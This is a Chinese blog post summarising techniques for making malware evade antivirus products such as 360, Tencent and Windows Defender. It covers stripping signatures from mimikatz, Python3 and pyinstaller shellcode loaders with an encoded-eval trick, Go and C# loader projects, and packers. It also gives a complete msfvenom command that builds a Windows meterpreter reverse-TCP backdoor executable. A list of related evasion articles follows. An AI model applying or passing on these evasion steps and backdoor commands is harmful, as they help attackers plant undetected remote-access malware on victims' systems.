免杀方法简单汇总

水深无声 2022-10-17 15:55 18阅读 0赞

virscan.org/scan/

## 方法 1 静态文件特征修改 ##

静态文件  
源码去除些特殊关键字和特征字段  
如 minikatz https://github.com/gentilkiwi/minikatz  
替换掉图标 minikatz 和项目注释信息等,重新编译 2020-10 月当时最新得的 360 腾讯等免杀.

## 方法 2 msfloder ##

MSF 用加载器过 2020-10 当时最新 360 不过这个项目有点老 2012 年的

## 方法 3 python3 shellcode ##

python2 的已经很多会被查杀  
python3 pyintaller 4.0 以上 shellcode  
def shellCodeLoad(shellcode):  
![20210517171445][]  
pyinstaller -F python3.py --noconsole -i 3.ico -n 生成文件名.exe  
有时很多杀毒软件会查杀 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c\_uint64(ptr),buf,ctypes.c\_int(len(shellcode)))  
可以使用编码进行处理再 eval 动态执行代码  
![20210517172053][]

## 方法 4 golang 加载器 ##

项目 1 github.com/jax777/shellcode-launch  
cobalt strike payload 选 C 语言  
项目 2 github.com/vyrus001/shellGo

## 方法 5 C\# xor 加载器 ##

github.com/antman1p/ShellCodeRunner

## 方法 6 第三方工具 ##

如掩日.exe 可以过主流杀毒及 WindowsDefender

方法 7 msf 加壳 202010最新360等免杀  
\#安装依赖  
sudo apt install mingw-64-tools mingw-w64-common g+±mingw-64 gcc-mingw-64 upx-ucl osslsigncode

\#MSF 生成后门  
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST= xx.xxx LPORT=4444 -f exe -o exploit.exe

[20210517171445]: /images/20221014/7c69239175904097956606ba640fdd23.png
[20210517172053]: /images/20221014/2b3cf3e6362f447a993187a7d48d2fd6.png

发表评论取消回复

表情：

评论列表（有 0 条评论，18人围观）

还没有评论，来说两句吧...

相关阅读

相关 Meterpreter的免杀详解

0×01 静态检测与对抗 1.静态分析原理简单的来说，就是通过特征码识别静态文件，杀软会扫描存在磁盘上的镜像文件，如果满足特征码，就识别为恶意软件。恶意软件匹配规

蔚落/ 2024年04月07日 10:59/ 0 赞/ 82 阅读

相关 2023免杀方法学习汇总

1.远程免杀 shellcode直接在文件中进行操作会很容易被提取特征，beacon远程加载免杀性和持久性会更好，但请求的地址容易被封禁和溯源，在实战中根据实际情况选择，并配

缺乏、安全感/ 2024年03月24日 23:43/ 0 赞/ 64 阅读

相关木马免杀（绕过杀软）

仅用于学习交流免杀是一个渗透测试中最苦恼的环节，也是一个需要学习很久的部分。利用kali生成的木马存在的问题就是无法避免市面上大多数的杀软，及时利用kali自带的免

骑猪看日落/ 2023年07月13日 12:14/ 0 赞/ 5 阅读

相关免杀知识汇总

杀软常见的三种方式静态查杀(邮件类查杀一般是静态的)-->一般根据特征码识别到-->对文件进行特征匹配的思路云查杀行为查杀(也可以理解为动态查杀

男娘i/ 2022年12月05日 00:50/ 0 赞/ 371 阅读

相关免杀方法简单汇总

virscan.org/scan/ 方法 1 静态文件特征修改静态文件源码去除些特殊关键字和特征字段如 minikatz https://github.c

水深无声/ 2022年10月17日 15:55/ 0 赞/ 19 阅读

相关 exe免杀c语言,CobaltStrike shellcode免杀捆绑exe思路

这里演示的方式为shellcode框架加载自解压 1.生成shellcode 2.c加载(随便拉的加载器)\include \include \pragma comme

￡神魔★判官ぃ/ 2022年10月14日 10:53/ 0 赞/ 36 阅读

相关 shellcode免杀丨C语言三条指令免杀360！你还困吗？

> shellcode免杀（1）C语言三条指令免杀360 ✉ 1 简介 > 描述有错的地方各位师傅海涵。经过一下午的C语言测试，得出了十多种过360的·方法，

朴灿烈づ我的快乐病毒、/ 2022年09月10日 10:23/ 0 赞/ 258 阅读

相关免杀常用技术方法

00. 概述什么是免杀？来自百科的注解： > 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（

左手的ㄟ右手/ 2021年08月29日 02:51/ 0 赞/ 426 阅读

相关攻防技术——源码免杀初探

源码免杀 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nL

以你之姓@/ 2021年07月25日 22:52/ 0 赞/ 441 阅读

相关 shellcode——payload分离免杀

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

桃扇骨/ 2021年07月25日 19:33/ 0 赞/ 471 阅读